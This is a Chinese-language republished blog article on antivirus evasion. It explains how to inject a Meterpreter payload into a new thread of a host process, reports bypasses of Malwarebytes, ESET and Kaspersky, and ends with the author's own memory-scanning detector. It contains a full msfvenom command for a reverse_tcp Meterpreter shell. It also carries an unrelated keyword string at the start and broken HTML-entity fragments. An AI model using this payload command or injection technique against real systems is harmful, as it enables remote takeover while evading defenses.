微机做网站的软件,如何设置网站域名,wordpress 不显示摘要,怎样做静态网站本文讲的是免杀新姿势#xff1a;利用线程将恶意代码注入到内存中#xff0c;产生存放远程攻击线程的进程在这篇文章中我不想一步一步解释我编写的C#代码#xff0c;但是我会展示下它能够绕过杀毒软件#xff0c;并且操作非常简单#xff0c;而且实用。 首先说明一下… 本文讲的是免杀新姿势利用线程将恶意代码注入到内存中 产生存放远程攻击线程的进程 在这篇文章中我不想一步一步解释我编写的C#代码但是我会展示下它能够绕过杀毒软件并且操作非常简单而且实用。 首先说明一下 1. 我是在三年前发现这个攻击方法的当我在做免杀的时候我发现了很多都是以0x0地址开始的进程。在我的win7系统中这种恶意代码绕过了我的杀毒软件只是在内存中可以找到然后以系统权限运行。所以当然是NSA干的咯
2. 这并不意味着以0x0开始的进程都是进行恶意注入的。 就像刚才所说我不会将我的”NativePayload_Tinjection.exe”代码分享出来不过我会阐述下如何在CC#或者其他语言如何进行编写攻击poc。 下图中你可以看到当远程进程加载时发生了什么事情他已经一步一步的展示出来。并且你可以使用C#或者其他语言提供的windowsAPI很简单的实现。 上图中的”evil.dll”是我们通过msfvenom生成的攻击载荷在kali linux中可以使用以下命令: Msfvenom –platform windows –arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhostw.x.y.z -f c payload.txt 下一步骤就是将生成的payload通过新的线程注入到另外一个新的进程中去连接远程主机。 我接下来会将我写的代码进行免杀测试使用最新的杀毒软件。我采用的实验环境是“Win 8.1”杀毒软件有:“Malwarebytes”、“ESET”、“Kaspersky”。接下来你可以看到我是怎么简单绕过这三个杀毒软件。 实验一测试Malwarebyte3.1.2 版本 通过注入线程我们可以绕过杀软。在这个环境下我的meterpreter payload通过TID为4268的线程注入到PID为2492的进程名叫mspaint.exe中。 就像你在上图看到当产生meterpreter 会话进程之后会在受害机中产生mspaint.exe进程。同时也可以发现TID为4268的线程开始地址为0X0。如果你结束掉TID 4268的线程那么meterpreter会话就会立马结束。 实验二测试ESET-Nod3210.1.204.0版本 下图中你可以看到ESET已经更新到了最近版本”20170516”不过并没有什么用我同样将meterpreter攻击载荷通过TID 3932线程注入到了PID为3168的notepad进程中。 实验三:测试Kaspersky v17版本 同样Kaspersky已经是最新版本v17.0.0.611,漏洞库为”20170516”。不过同样被绕过了。meterpreter通过TID 2932线程注入到了PID为1200进程中. 实验3-1:Kaspersky internet security v17 漏洞库05182017版本 同样被绕过了即使杀毒软件显示您的电脑正在被保护。 那么如何检测这种攻击呢 我自己写了一个软件”Meterpreter_Payload_Detection.exe”它会在内存识别meterpreter签名进而发现后门然后清除。 在下图中你可后门发现绕过ESET-Nod32杀毒软件之后会被Meterpreter_Payload_Detection.exe拦截。所以个人感觉杀毒软件在内存扫描这一方面做的不是很完备。 上图中你可以在我软件的界面找到注入到内存的进程即PID为2116的进程以及TID为2820的线程。 红颜色字体展示了在内存中扫描签名当然这也许不是最好的方法检测恶意软件但是到现在为止这个工具针对内存检测做的比现有的杀毒软件要好。 原文发布时间为2017年5月19日 本文作者xnianq 本文来自云栖社区合作伙伴嘶吼了解相关信息可以关注嘶吼网站。 原文链接
